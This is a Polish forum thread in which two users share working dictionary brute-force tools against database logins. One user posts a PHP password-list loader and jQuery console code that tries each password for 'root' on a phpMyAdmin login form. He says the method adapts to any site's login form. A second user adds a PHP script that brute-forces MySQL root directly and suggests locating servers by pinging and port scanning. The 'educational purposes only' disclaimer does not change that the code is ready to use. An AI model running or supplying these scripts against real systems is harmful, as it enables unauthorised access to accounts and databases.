Bruteforce phpmyadmin (metoda slownikowa)

Zbiór linków i poradników dotyczących bezpieczeństwa informatycznego.
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Bruteforce phpmyadmin (metoda slownikowa)

Post autor: Kenjin »

Ponieważ, admin juz zalatal dziure na stronie w celach edykacyjnych zademonstruje wam mojego autorstwa prostego bruteforca. Wykorzystuje on JQuery i php.

Wymagania:
-lokalny server apache, interpreter php (np. Xampp).
-slownik z haslami(dictionary)

Kod: Zaznacz cały

<?php

$sciezka = "E:/XAMPP/htdocs/irhaxor/hasla.txt";

$handle = fopen($sciezka, "r");

$output = array();
while($linia = trim(fgets($handle, 4096))){
	array_push($output, $linia);
}
fclose($handle);

echo json_encode($output);

?>
Teraz wchodzimy na strone phpmyadmina (tam gdzie mamy okienko logowania) uzywajac firebuga lub chrome narzedzia programisty (F12) odpalamy konsole.

Wpisujemy:

Kod: Zaznacz cały

$.post("http://localhost:1234/irhaxor/bruteforce.php", {}, function(data){
	dataa = jQuery.parseJSON(data);
	$.each(dataa, function(){
		var haslo = this;
		$.post('index.php?token=33c6682b848763bb8947229fa2987b2c', {pma_username:'root', pma_password:haslo, server:1, target:'index.php'}, function(data1){
			if (data1.indexOf('AJAX.scriptHandler;') > -1) {
			alert(haslo);
			} else {
			//nic nie rob
			}	
			});
	});
		
	});
I czekamy... :)

UWAGA oczywiscie udostepniam to tylko w celach edukacyjnych. Nie namawiam do lamania hasel gdyz jest to karalne !

PS: Skrypt ten mozna uzyc na kazdej stronie obslugujacej JQuery, oczywiscie po prostych przerobkach wystarczyl by sam javascript.
PS2: nie jest to najbardziej optymalna metoda, ale dziala zawsze i wszedzie(po drobnych modyfikacjach mozna dostosowac to do dowolnej innej strony.
PS3: Odrazu wyjasniam czemu uzylem php i ajaxa, nie wiem czy to ja czegos tu nie rozumiem czy poprostu sie nie da ale nie bylem w stanie otworzyc pliku .get'em z javascripta, ktory znajdowal sie lokalnie.
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: Bruteforce phpmyadmin (metoda slownikowa)

Post autor: F3nix »

Dobra robota. Jak ja nienawidzę jQuery! BTW: Mało który serwer zewnętrzny pozwala posiadanie użytkownika root i nie nazwałbym że dostępność klienta mysql webowego to luka. Przecież do serwera można podłączać się bezpośrednio tak jak robi to skrypt php większości CMSów ze swojego xampa w domu...
$mysqli = new mysqli("localhost", "user", "password", "database");
Nawet nie wiem czy nie byłoby to szybsze niż odwoływanie się do formularza phpmyadmina, który ostatecznie robi to samo co powyżej... dlatego powtarzam że znalezienie phpadmina gdzieś to żadna luka bo na swój serwer wrzucisz sobie też phpmyadmina i zmodyfikujesz sobie plik jego config.inc.php tak jak tutaj:

https://degreesofzero.com/article/manag ... admin.html

Kod: Zaznacz cały

$cfg['Servers'][$i]['verbose']       = 'Local';
$cfg['Servers'][$i]['host']          = 'localhost';
$cfg['Servers'][$i]['port']          = '3306';
a adres IP serwera uzyskasz w większości przypadków pingując serwer hostingu + skaner portów jeśli port MySQL niestandardowy :D
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: Bruteforce phpmyadmin (metoda slownikowa)

Post autor: Kenjin »

Wiekszosc serverow ma configu zdefiniowana tzw. liste zaufanych adresow IP wtedy, nie polaczysz sie z phpmyadminem z dowolnego miejsca.

Oczywiscie mozna bezposrednio z php sie laczyc, zgadzamy sie ale chcialem tu na przykladzie phpmyadmina pokazac metode bruteforcowania dowolnych formularzy, na dowolnej stronie.
Ten art ciekawy, zapoznam sie dzieki :)
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: Bruteforce phpmyadmin (metoda slownikowa)

Post autor: F3nix »

Z tym masz racje, ale nie zawsze tak jest. Często korzystałem choćby w netbeansie z zewnętrznego serwera firmowego bazy danych podpiętego w zakładce serwer w celu łatwiejszej pracy.

Na szybko skleciłem w celu kompletności wywodu:

Kod: Zaznacz cały

<?php
set_time_limit (0);
$sciezka = "slownik.txt";
$handle = fopen($sciezka, "r");
echo('Start script...<br>');
while($linia = trim(fgets($handle))){
   if (@mysql_connect('localhost', 'root', $linia)) {
	   echo('<b>Pass found:</b> '.$linia);
	   die();
   }
}
echo('<b>Pass not found!</b>');
fclose($handle);
?>
Jeśli ktoś zlinczuje, że nie mysqli to specjalnie nie użyłem obiektowej wersji bo wydaje mi się że ta funkcja będzie szybsza ale mogę się mylić....


BTW: nie wiem czy dobrze rozkminiam ale u Ciebie w kodzie jest być może pewien błąd. Znalazło Ci jakieś hasło? Bo fgets odczytuje ze znakiem końca linii... więc każde sprawdzane hasło to tak naprawdę bez trima:
1234/r/n
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: Bruteforce phpmyadmin (metoda slownikowa)

Post autor: Kenjin »

Znalazlo, akurat funkcja json_encode robi automatycznie trima.
ODPOWIEDZ